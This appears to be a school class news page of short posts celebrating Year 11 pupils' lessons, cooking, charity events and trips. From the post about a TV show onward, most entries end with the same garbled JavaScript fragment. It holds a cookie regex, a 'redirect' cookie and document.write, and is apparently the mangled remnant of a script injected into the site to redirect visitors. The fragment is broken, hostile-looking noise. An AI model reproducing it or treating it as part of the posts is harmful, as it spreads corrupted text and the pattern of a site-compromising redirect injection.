Fantastic effort by everyone in year 11 during world book day. Well done everyone.

Great work by Mason, Brandon and James in this weeks DT lesson. A lovely learning environment and some great work being produced.

What a superb start to the GCSE maths lessons. Great resilience being developed.

Great learning atmosphere for the year 11 home cooking course. Every pupil taking responsibility for their qualification and aiming for level 2.

Today year 11 finished the half term off with a fantastic SEAL lesson carving pumpkins. A lovely atmosphere and some excellent team work from Mason and Nathan.

It was great to see a competitive yet calm structured activity in year 11 which helped improve listening and communication skills. A lovely atmosphere. Keep this up!

What an inspirational day! Well done to all the pupils who wrote and performed their emotive poetry pieces. We are very proud of you.

Year 11 have worked co-operatively using limited materials to create a safety shell to protect their egg from a height. Check back later to see whose safety shell was successful.

Some of the year 11 DT pupils showing off their fantastic practical and theory work. The atmosphere in the DT workshop is superb and is reflected in the level of work being produced.

Year 11 have had a fantastic first week back. They have shown a mature, hardworking and resilient attitude to complete multiple baseline tests independently and in silence.

Y11 are working hard towards their future beyond school, keep up the amazing job Y11… you have got this!

Fantastic morning raising awareness and becoming advocates for social groups in our home town

Looking at our strengths and wishes, taking our worries and screwing them up and recycling them!

Today we did an experiment to see how different water temperatures affect the reaction of yeast. We tested at 20, 30 and 40 degrees. Sugar was added to the water and yeast to speed up the reaction. We used a balloon to monitor the amount of gas produced. The balloon appeared to inflate the quickest at 30 degrees.

Wow! Fantastic hospitality lesson with Mrs CookeWorking amazing, learning new skills for life!

Inspiring morning with Andy an Quailer… what fantastic story of overcoming adversity, using a growth mindset a working with others. Y11 have learned about raising awareness for a charity, being an active citizen and taking direct action fo Fantastic world wide learning in Y11.

Working well, discussion around local charities and what they stand for!

Y11 Science experiment to look at cells under a microscope.

Today, year 11 looked at the channel 4 TV show “The undateables”. After watching a video clip they discussed whether the show was a positive or negative production. Some fantastic speaking and listening enabled a great class discussion. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

Today year 11 carried out an independent end of unit test. Every child showed a mature attitude and used a growth mindset in order to complete the test. Well done boys.  (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

Great atmosphere in this weeks double GCSE art lesson. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

Year 11 working extremely hard in preparation for their GCSE’s. Some great co-operative learning was also evident between Joshua and James.  (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

This week year 11 carved pumpkins and roasted the seeds in salt and chilli. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

As part of their cooking course, year 11 worked in groups to prepare and cook chicken fajitas. The groups were then judged on teamwork, presentation and taste of the final product. Great effort by all.  (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

Year 11 not only being a great example but also setting a brilliant standard in PE for the rest of the school to follow    (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

 On Wednesday Year 11 held our Poppy Appeal event. Over 60 people came along and we gave out information and poppies. There were videos to watch, boards to read, things to colour and make and even Mr Baker’s medal to look at.  Thanks to everyone that came along. It’s really important that we wear our poppies and show respect to people injured or killed in the many conflicts. Please watch the video for more information or feel free to come along to class and see our work.  Also, did you know the leaf of the poppy should be at the 11 o clock position? Mr Philburn told us but we…

What a brilliant day at Aston Academy! After a fantastic morning of playing sports in their spectacular sports hall, we had the privilege of meeting Peter Scantlebury who has represented England playing basketball. At the 2006 commonwealth games, the England national team won a bronze medal!   (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

I have been looking on the internet and researching Red Nose Day and all about Comic Relief. I have found out what they do and who they help. Here is my poster about Red Nose Day. Jordan Y11   (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

In Nurture, we made characters and scenes from our favourite books out of plasticine.     (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

Year 11 are looking forward to working with Miss Moxon-Waddell in nurture activities over the next few weeks. We will be looking at our next steps after we have completed GCSE’s and start applying to colleges and apprenticeships. All the best, Year 11 (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}